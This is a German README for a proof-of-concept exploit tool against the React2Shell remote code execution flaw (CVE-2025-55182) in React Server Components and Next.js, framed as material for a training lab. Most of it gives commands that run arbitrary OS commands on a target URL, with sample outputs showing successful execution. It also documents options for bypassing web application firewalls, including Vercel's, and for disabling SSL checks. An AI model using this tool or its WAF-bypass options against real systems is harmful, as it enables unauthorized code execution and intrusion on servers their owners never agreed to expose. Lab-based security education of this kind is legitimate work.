
Präzisionsbasierte Erkennung von Remote-Code-Ausführungs-Schwachstellen in RSC/Next.js (CVE-2025-55182, CVE-2025-66478)
CVE-2025-55182 – React Server Components RCE PoC
Bildungs-Exploit-Client für das Hidden Investigations React2Shell-Labor.
Dieses Repository enthält ein Single-Host Proof-of-Concept (PoC) Exploit-Tool für die React2Shell-Sicherheitslücke (CVE-2025-55182), die sich gegen fehlkonfigurierte React Server Components / Next.js-Anwendungen richtet.
Es ist dafür ausgelegt, nur gegen das offizielle Hidden Investigations React2Shell-Labor oder Systeme, die Sie ausdrücklich besitzen / verwalten, eingesetzt zu werden.
Dieses Projekt wird ausschließlich zu Bildungs- und defensiven Sicherheitsforschungszwecken bereitgestellt:
whoami als Standard)--waf-bypass, --waf-bypass-size)--vercel-waf-bypass)--insecure, benutzerdefinierte Header)-o/--output, --all-results)requestsInstallieren Sie die Abhängigkeiten mit:
pip install -r requirements.txt
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
python3 -m venv venv
source venv/bin/activate # Unter Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 react2shell-scanner.py -h
Grundlegende Hilfe:
python3 react2shell-scanner.py -h
Das Tool erfordert eine Ziel-URL:
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# oder
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
Wenn Sie es ohne -t/--target oder -u/--url ausführen, gibt es eine gebrandete Hilfemeldung aus und beendet sich.
Hinweis: Dieser PoC ist nur für Einzelhosts. Die Option
-l/--listist vorhanden, aber absichtlich deaktiviert.
Beispiel für den Quiet-Modus (schöne, mehrzeilige Ausgabe):
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
Ausgabe:
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
Die folgenden Flags existieren, um die CLI von Assetnote zu spiegeln, sind aber in diesem PoC nicht implementiert, um Missbrauch durch Massen-Scans zu vermeiden:
| Option | Status |
|---|---|
-l, --list | Nicht implementiert |
--threads N | Nicht implementiert |
Wenn Sie -l/--list verwenden, gibt das Tool eine Warnung aus und beendet sich, und schlägt vor, den ursprünglichen react2shell-scanner von Assetnote für großflächiges sicheres Scannen zu verwenden.
Gegen lokales Labor ausführen:
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
WAF-Bypass mit einem größeren Junk-Feld verwenden:
python3 react2shell-scanner.py -t http://localhost:3000 --waf-bypass --waf-bypass-size 256 -c "id"
Mehrere Pfade auf demselben Host:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next/data -c "id"
Pfade aus Datei:
python3 react2shell-scanner.py -t http://localhost:3000 --path-file paths.txt -c "id"
Safe-Check-Modus (keine OS-Befehle ausgeführt):
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
JSON-Ausgabe der Ergebnisse in Datei:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next -c "id" -o results.json --all-results
Wenn -o/--output verwendet wird, schreibt das Tool ein Array von Objekten wie:
[
{
"url": "http://localhost:3000/",
"path": "/",
"success": true,
"status": "success",
"output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
"http": {
"status_code": 302,
"headers": {
"X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
"...": "..."
}
}
}
]
react2shell-scanner.Dieses Projekt ist unter der MIT-Lizenz lizenziert. Siehe LICENSE für Details.
📬 Kontaktieren Sie uns: [email protected]
| Option | Beschreibung | Standard |
|---|
-t, --target | Ziel-URL oder Domain (erforderlich, es sei denn, --url wird verwendet) | None |
-u, --url | Alias für --target (Assetnote-ähnliches Flag) | None |
--path | Zu testender Pfad (kann mehrfach verwendet werden, z. B. /, /_next) | / |
--path-file | Datei mit zu testenden Pfaden (eine pro Zeile) | None |
| Option | Beschreibung | Standard |
|---|
-c, --command | Auf dem Ziel auszuführender Befehl (wenn der Exploit erfolgreich ist) | id |
--safe-check | Ein SAFE_CHECK-Payload verwenden (kein OS-Befehl, nur eine Markierungszeichenfolge) | aus |
--windows | Standards für Windows-Ziele anpassen (z. B. whoami verwenden, wenn Befehl id ist) | aus |
--waf-bypass | Ein großes Junk-Multipart-Feld an den Anforderungstext anhängen, um WAF zu umgehen | aus |
--waf-bypass-size KB | Größe des Junk-Felds in KB bei Verwendung von --waf-bypass | 128 |
--vercel-waf-bypass | Ein alternatives Multipart-Layout verwenden, das das Vercel-WAF-Verhalten beeinflussen soll (vereinfachter PoC) | aus |
| Option | Beschreibung | Standard |
|---|
--timeout SECONDS | Zeitüberschreitung der Anforderung in Sekunden | 15 (oder 20 wenn --waf-bypass und kein Timeout gesetzt) |
-k, --insecure | SSL-Verifizierung deaktivieren (wie curl -k) | aus |
-H, --header | Benutzerdefinierter Header, z. B. -H "X-Forwarded-For: 127.0.0.1" (wiederholbar) | None |
| Option | Beschreibung | Standard |
|---|
-o, --output FILE | JSON-Ergebnisse in FILE schreiben | None |
--all-results | Bei Verwendung von --output auch nicht verwundbare Ergebnisse einschließen | aus |
-v, --verbose | Ausführlicher Modus – HTTP-Status und X-Action-Redirect-Header anzeigen | aus |
-q, --quiet | Quiet-Modus – gibt bei Erfolg nur die normalisierte Befehlsausgabe aus | aus |
--no-color | Farbige Terminalausgabe deaktivieren | aus |